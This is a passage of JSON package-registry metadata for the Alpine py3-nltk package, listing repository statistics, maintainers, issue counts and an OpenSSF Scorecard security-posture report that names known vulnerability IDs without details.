Source","archived":false,"fork":false,"pushed_at":"2025-10-07T05:54:26.000Z","size":354538,"stargazers_count":14337,"open_issues_count":269,"forks_count":2945,"subscribers_count":452,"default_branch":"develop","last_synced_at":"2025-10-16T01:12:42.219Z","etag":null,"topics":["machine-learning","natural-language-processing","nlp","nltk","python"],"latest_commit_sha":null,"homepage":"https://www.nltk.org","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"apache-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/nltk.png","metadata":{"files":{"readme":"README.md","changelog":"ChangeLog","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE.txt","code_of_conduct":null,"threat_model":null,"audit":null,"citation":"CITATION.cff","codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.md","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2009-09-07T10:53:58.000Z","updated_at":"2025-10-15T13:30:24.000Z","dependencies_parsed_at":"2023-07-05T15:16:46.493Z","dependency_job_id":"cbe8f0b1-5657-4fc2-ab64-5f7a827e77b4","html_url":"https://github.com/nltk/nltk","commit_stats":{"total_commits":13268,"total_committers":476,"mean_commits":"27.873949579831933","dds":0.6874434730177872,"last_synced_commit":"7397ccfed06e7c836d3acb0b9197f6e6b26c6741"},"previous_names":[],"tags_count":47,"template":false,"template_full_name":null,"purl":"pkg:github/nltk/nltk","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/nltk","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/refs/heads/develop","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/sbom","scorecard":{"id":690730,"data":{"date":"2025-08-11","repo":{"name":"github.com/nltk/nltk","commit":"aff0ecb71db1944182e9ee3a595084325933d0e1"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":4.9,"checks":[{"name":"Code-Review","score":8,"reason":"Found 4/5 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":10,"reason":"23 commit(s) and 11 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Security-Policy","score":9,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Warn: One or no descriptive hints of disclosure, vulnerability, and/or timelines in security policy","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'contents' permission set to 'read': .github/workflows/labeler.yml:8","Warn: no topLevel permission defined: .github/workflows/cffconvert.yml:1","Warn: no topLevel permission defined: .github/workflows/ci.yaml:1","Warn: no topLevel permission defined: .github/workflows/labeler.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE.txt:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE.txt:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cffconvert.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/cffconvert.yml/develop?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cffconvert.yml:18: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/cffconvert.yml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:66: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:89: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:92: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:110: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:116: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:123: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:24: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:41: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/labeler.yml:12: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/labeler.yml/develop?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/ci.yaml:29","Warn: pipCommand not pinned by hash: .github/workflows/ci.yaml:52","Warn: pipCommand not pinned by hash: .github/workflows/ci.yaml:105","Warn: pipCommand not pinned by hash: .github/workflows/ci.yaml:106","Info:   0 out of  14 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   1 third-party GitHubAction dependencies pinned","Info:   0 out of   4 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'develop'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Vulnerabilities","score":2,"reason":"8 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: PYSEC-2023-23 / GHSA-jrwr-5x3p-hvc3","Warn: Project is vulnerable to: PYSEC-2023-24 / GHSA-vrjv-mxr7-vjf8","Warn: Project is vulnerable to: PYSEC-2021-142 / GHSA-8q59-q68h-6hv4","Warn: Project is vulnerable to: PYSEC-2018-49 / GHSA-rprw-h62v-c2w7","Warn: Project is vulnerable to: PYSEC-2020-107 / GHSA-jjw5-xxj6-pcv5","Warn: Project is vulnerable to: PYSEC-2024-110 / GHSA-jw8x-6495-233v","Warn: Project is vulnerable to: PYSEC-2020-108","Warn: Project is vulnerable to: PYSEC-2017-74"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 29 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-22T02:14:45.126Z","repository_id":657117,"created_at":"2025-08-22T02:14:45.126Z","updated_at":"2025-08-22T02:14:45.126Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":279148122,"owners_count":26114201,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-10-16T02:00:06.019Z","response_time":53,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"tags":[]},"repo_metadata_updated_at":"2025-10-17T21:12:21.574Z","dependent_packages_count":2,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":18.95138654990457,"stargazers_count":1.3360278432693389,"forks_count":0.8027394184349388,"average":5.272538452902212},"purl":"pkg:apk/alpine/py3-nltk?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.17","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-nltk","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-nltk","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-nltk/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2025-10-07T15:01:08.027Z","issues_count":280,"pull_requests_count":238,"avg_time_to_close_issue":27896123.601226993,"avg_time_to_close_pull_request":9941234.244791666,"issues_closed_count":163,"pull_requests_closed_count":192,"pull_request_authors_count":82,"issue_authors_count":242,"avg_comments_per_issue":3.7607142857142857,"avg_comments_per_pull_request":2.6092436974789917,"merged_pull_requests_count":137,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":54,"past_year_pull_requests_count":78,"past_year_avg_time_to_close_issue":1278785.7931034483,"past_year_avg_time_to_close_pull_request":2512805.6153846155,"past_year_issues_closed_count":29,"past_year_pull_requests_closed_count":52,"past_year_pull_request_authors_count":26,"past_year_issue_authors_count":44,"past_year_avg_comments_per_issue":1.0740740740740742,"past_year_avg_comments_per_pull_request":2.269230769230769,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":34,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/issues","maintainers":[{"login":"ekaf","count":34,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ekaf"},{"login":"purificant","count":23,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/purificant"},{"login":"tomaarsen","count":14,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/tomaarsen"},{"login":"alexrudnick","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/alexrudnick"},{"login":"stevenbird","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/stevenbird"}],"active_maintainers":[{"login":"ekaf","count":31,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ekaf"},{"login":"purificant","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/purificant"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.17/packages/py3-nltk/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.17/packages/py3-nltk/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.17/packages/py3-nltk/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.17/packages/py3-nltk/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.17/packages/py3-nltk/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.17/packages/py3-nltk/codemeta","maintainers":[{"uuid":"iztok@iztok-jr-fister.eu","login":null,"name":"Iztok Fister, Jr.","email":null,"url":"https://pkgs.alpinelinux.org/packages?maintainer=Iztok Fister, Jr.","packages_count":87,"html_url":"https://pkgs.alpinelinux.org/packages?maintainer=Iztok Fister, Jr.","role":null,"created_at":"2023-02-01T05:01:33.189Z","updated_at":"2023-02-01T05:01:33.189Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.17/maintainers/iztok@iztok-jr-fister.eu/packages"}],"registry":{"name":"alpine-v3.17","url":"https://pkgs.alpinelinux.org/packages?branch=v3.17","ecosystem":"alpine","default":false,"packages_count":17817,"maintainers_count":352,"namespaces_count":2,"keywords_count":3377,"github":"alpinelinux","metadata":{"repos":["main","community"],"funded_packages_count":1038},"icon_url":"https://github.com/alpinelinux.png","created_at":"2023-01-31T17:27:50.642Z","updated_at":"2026-06-10T05:19:47.280Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.17/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.17/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.17/namespaces"}},{"id":7779358,"name":"py3-nltk","ecosystem":"alpine","description":"Natural Language Toolkit","homepage":"https://github.com/nltk/nltk","licenses":"Apache-2.0","normalized_licenses":["Apache-2.0"],"repository_url":"https://github.com/nltk/nltk","keywords_array":[],"namespace":"community","versions_count":1,"first_release_published_at":"2023-04-20T10:35:44.000Z","latest_release_published_at":"2023-04-20T10:35:44.000Z","latest_release_number":"3.8.1-r1","last_synced_at":"2026-03-18T15:37:55.204Z","created_at":"2023-05-22T14:29:04.855Z","updated_at":"2026-03-18T15:37:55.204Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.18/community/x86_64/py3-nltk","install_command":"apk add py3-nltk","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{"id":657117,"uuid":"299862","full_name":"nltk/nltk","owner":"nltk","description":"NLTK Source","archived":false,"fork":false,"pushed_at":"2025-10-07T05:54:26.000Z","size":354538,"stargazers_count":14337,"open_issues_count":269,"forks_count":2945,"subscribers_count":452,"default_branch":"develop","last_synced_at":"2025-10-16T01:12:42.219Z","etag":null,"topics":["machine-learning","natural-language-processing","nlp","nltk","python"],"latest_commit_sha":null,"homepage":"https://www.nltk.org","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"apache-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/nltk.png","metadata":{"files":{"readme":"README.md","changelog":"ChangeLog","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE.txt","code_of_conduct":null,"threat_model":null,"audit":null,"citation":"CITATION.cff","codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.md","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2009-09-07T10:53:58.000Z","updated_at":"2025-10-15T13:30:24.000Z","dependencies_parsed_at":"2023-07-05T15:16:46.493Z","dependency_job_id":"cbe8f0b1-5657-4fc2-ab64-5f7a827e77b4","html_url":"https://github.com/nltk/nltk","commit_stats":{"total_commits":13268,"total_committers":476,"mean_commits":"27.873949579831933","dds":0.6874434730177872,"last_synced_commit":"7397ccfed06e7c836d3acb0b9197f6e6b26c6741"},"previous_names":[],"tags_count":47,"template":false,"template_full_name":null,"purl":"pkg:github/nltk/nltk","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/nltk","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/refs/heads/develop","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/sbom","scorecard":{"id":690730,"data":{"date":"2025-08-11","repo":{"name":"github.com/nltk/nltk","commit":"aff0ecb71db1944182e9ee3a595084325933d0e1"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":4.9,"checks":[{"name":"Code-Review","score":8,"reason":"Found 4/5 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":10,"reason":"23 commit(s) and 11 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Security-Policy","score":9,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Warn: One or no descriptive hints of disclosure, vulnerability, and/or timelines in security policy","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'contents' permission set to 'read': .github/workflows/labeler.yml:8","Warn: no topLevel permission defined: .github/workflows/cffconvert.yml:1","Warn: no topLevel permission defined: .github/workflows/ci.yaml:1","Warn: no topLevel permission defined: .github/workflows/labeler.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE.txt:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE.txt:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cffconvert.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/cffconvert.yml/develop?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cffconvert.yml:18: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/cffconvert.yml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:66: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:89: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:92: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:110: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:116: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:123: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:24: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:41: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/labeler.yml:12: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/labeler.yml/develop?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/ci.yaml:29","Warn: pipCommand not pinned by hash: .github/workflows/ci.yaml:52","Warn: pipCommand not pinned by hash: .github/workflows/ci.yaml:105","Warn: pipCommand not pinned by hash: .github/workflows/ci.yaml:106","Info:   0 out of  14 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   1 third-party GitHubAction dependencies pinned","Info:   0 out of   4 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'develop'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Vulnerabilities","score":2,"reason":"8 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: PYSEC-2023-23 / GHSA-jrwr-5x3p-hvc3","Warn: Project is vulnerable to: PYSEC-2023-24 / GHSA-vrjv-mxr7-vjf8","Warn: Project is vulnerable to: PYSEC-2021-142 / GHSA-8q59-q68h-6hv4","Warn: Project is vulnerable to: PYSEC-2018-49 / GHSA-rprw-h62v-c2w7","Warn: Project is vulnerable to: PYSEC-2020-107 / GHSA-jjw5-xxj6-pcv5","Warn: Project is vulnerable to: PYSEC-2024-110 / GHSA-jw8x-6495-233v","Warn: Project is vulnerable to: PYSEC-2020-108","Warn: Project is vulnerable to: PYSEC-2017-74"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 29 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-22T02:14:45.126Z","repository_id":657117,"created_at":"2025-08-22T02:14:45.126Z","updated_at":"2025-08-22T02:14:45.126Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":279148122,"owners_count":26114201,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-10-16T02:00:06.019Z","response_time":53,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"tags":[]},"repo_metadata_updated_at":"2025-10-17T21:12:21.578Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":1.3266171263278639